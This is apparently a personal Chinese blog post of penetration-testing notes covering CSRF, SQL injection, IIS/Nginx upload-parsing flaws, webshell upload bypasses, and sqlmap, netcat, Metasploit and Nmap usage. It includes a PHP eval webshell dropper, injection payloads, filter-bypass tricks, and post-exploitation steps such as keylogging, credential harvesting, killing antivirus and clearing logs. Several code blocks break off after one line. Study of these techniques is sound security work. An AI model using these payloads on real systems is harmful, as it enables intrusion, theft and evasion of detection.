渗透笔记整理
最近在整理印象笔记,其中有许许多多经验、研究和杂七杂八的想法,我会逐步上传到博客。
渗透笔记
CSRF
CSRF全名是Cross-site request forgery,理解上为伪造其他用户执行操作。
攻击
网页没有token头字段,通过请求拦截的方式,将对应URL记录下来。通过构建一个恶意页面,恶意页面代码如下:
1 | # GET类型 |
诱使对应人员点击该页面即可触发CSRF攻击。
防御思路
针对CSRF攻击,防御方面:
- 在重要操作执行钱需要进行验证码校验
- 站点添加token(或者自定义)头字段。由于token是随机并且一次性。在使用post方法时,防止token出现在URL(可以通过构建恶意网站 使用户访问恶意网站 恶意网站在后台构建假冒用户操作)
通过抓包删除referer 测试
针对CSRF攻击总结:防御方面为对操作进行用户身份验证;攻击方面可以构建的代码:form iframe img xhr link等。
攻击衍生
可以将XSS与CSRF结合:通过XSS让用户跳转到CSRF页面执行恶意操作。
SQL Injection
SQL Injection通过把SQL命令插入到Web表单递交或输入域名或页面请求的查询字符串,最终达到欺骗服务器执行恶意的SQL命令。
攻击思路
最简单的注入思路就是针对id=、class=这些参数进行注入。看到过一次二次注入的思路:注册用户时将用户名设置成注入语句,在个人中心处注入语句被调用形成注入。因此,允许输入与数据库交互那么便有可能存在注入。例如cookie等报文头里面的数据,如果数据库会记录该数据那变可能存在注入。
攻击衍生
当站点对输入进行过滤(防御),可以尝试使用编码转换,将注入语句转码。
内网渗透
内网渗透是指渗透人员获取了一台内网主机时,针对内网进行内网渗透的过程。
1 | Windows |
上传漏洞
IIS6.0
1.目录名称为a.asp,该目录下的文件都会以asp解析;
2.上传a.asp;.xx.jpg类型的文件,由于IIS6.0解析”;”会截断,所以在解析时可以理解为以asp文件类型解析。
IIS7.0/7.5+Nginx≤0.8.37
IIS7.0/7.5,在PHP配置文件中,开启了cgi.fix_pathinfo(该配置默认开启),当文件为php类型,iis会交给php解析;
nginx和iis7.5类似:
Fast-CGI开启状况(默认),上传内容为:
1 | fputs(fopen('cmd.php','w'),'<?php eval($_POST[cmd])?>'); |
的x.jpg。访问../../../x.jpg/.php会在根目录下生成一个cmd.php;
- 在文本前面加上 Gif89a 让服务器以为该文本为图片类型文件;
- 双文件上传 通过在上传
<input type="FileName" type="FILE">
后面在加入<input type="FileName" type="FILE">
。下载网页源码 另存为到桌面 然后第一个地方上传正常图片 第二个地方上传马; - 上传一句话木马可以对一句话多次加密。
上传成功之后,如果连接一句话被防护设备阻断,可以通过修改菜刀进行连接。原理是因为当前防护设备是针对网络流量进行识别,当流量中出现对应关键字会进入识别流程,当所有条件都满足时就会阻断该流量。该方式绕过方式千千万,只要特征不命中即可。
SQL命令
记录MySQL数据库在渗透的时候可以用到的命令:
1 | # 导出文件 |
PHP爆破路径
1.错误参数爆路径
2.google搜索: sieze:xxx.com warning size:xxx.com phpmyadmin(phpMyadmin
3.测试文件爆路径 test.php ceshi.php info.php
4.注入点读取配置文件 load_file
小迪学习笔记
我在刚刚接触渗透的时候,经常会看小迪的渗透教程视频。那时候,边学边记。
小迪第一讲
小迪第一讲主要讲解一下基础的知识,便于后期理解。
软件:APMServ
1 | # web环境 |
小迪第四讲
一个页面 http://www.xxx.com/xxx.asp?id=xx,存在cookie注入。使用SQLMap进行攻击,命令如下:`sqlmap: sqlmap.py -u http://www.xxx.com/xxx.asp –cookie “id=xx” –level 2`
小迪第五讲
数字型注入:and 1=1
。例如:select from admin where id=1
字符型注入:' and '1'='1
,在代码处由于字符型需要加单引号或者双引号。例如:select from admin where a='a'
搜索型注入:%'
小迪第七讲
通过 load_file 读取后台文件 例如:前台页面向后台login.php传递参数并判断然后跳转 这时候可以通过 load_file sql注入语句来读取login.php文件
小迪第九讲
服务器常见状态码:
1 | 1XX:正在处理 |
小迪第十讲
该课程主要讲解mssql综合利用工具,由于是工具利用,所以并没有详细记录。
小迪第十一讲
验证机制分为:本地、远程。本地验证可以通过禁用、删除等方式进行绕过。
解析漏洞:
1 | IIS6.0: |
小迪第十二讲
IIS 解析漏洞利用path:a.asp;.
,在上传的时候通过修改文件前缀。不单单是文件前缀,如果上传包中存在path,可以通过修改path。因为有时候验证是通过文件名filename
,而不验证filepath。
图片马使用UE(uedit)编辑器即可添加。
小迪第十四讲
针对上传绕过时,首先需要知道过滤方式。可通过多次上传来猜解其过滤方式。
利用手段
- 00截断:1.asp’\0’.jpg:
- 通过UE将上传包保存为文本文档在上传文件名后面加上:空格 .jpg。例如 1.asp .jpg。
- 通过UE将空格 20 修改为 00
- 在上传包文本中 包长度 length 数值加5
- 检验文件类型 通过抓包修改
- 过滤不全 asp asa cer cdx htr
- 检验文件头:在文件头前面加上 GIF89a
工具
一句话流量学习
1 | # url执行命令 |
NC工具
1 | 正向连接: |
Metasploit-msfconsole工具
Metasploit是一个优秀的渗透测试框架!!!!!!!
攻击阶段:
使用msfconsole
打开Metasploit
使用nmap扫描来发现开放端口nmap -T4 -A -v x.x.x.x
使用search
命令来搜索需要的exp
使用use
命令来打开exp,之后使用show options
查看需要指定的参数
使用set rhost
等来设置参数之后,通过exploit来获取meterpreter会话
信息收集阶段:
获取服务器信息(sysinfo、getuid、idletime、run get_env、ifconfig、route)
获取服务器当前截屏(screenshot)
获取服务器进程信息(ps)
将 meterpreter会话迁移至explorer(migrate)
开启键盘记录,输出(keyscan_start、keyscan_dump)
获取服务器shell(shell)
检测服务器是否为虚拟机(run checkvm)
启动远程桌面(run getgui -e);启动telnet服务(run gettelnet -e)
获取子网状况(run get_local_subnets)
编辑hosts(run hostedit)
查看已经登录的用户数(run enum_logged_on_users)
获取已安装应用程序(run get_application_list)
获取驱动器信息(run windows/gather/forensics/enum_drives)
获取产品密钥(run windows/gather/enum_ms_product_keys)
获取autologin(run windows/gather/credentials/windows_autologin)
使用自动脚本获取系统信息(run winenum)
获取服务器额外信息(run scraper;信息存放路径为:.msf5/logs/scrips/scraper/192.x.x.x.x)
清理痕迹阶段:
检测防火墙状态(run getcountermeasure)
关闭杀毒软件(run killav;find / -name ‘killav.rb’;/usr/share/metasploit-framework/scripts/meterpreter/killav.rb)
清理日志(clearev)
Nmap
Nmap常用命令汇总记录
1 | Nmap常用命令参数讲解 |
GoogleHack
使用Google搜索往往能获得意想不到的信息。
1 | ps:不区分大小写 |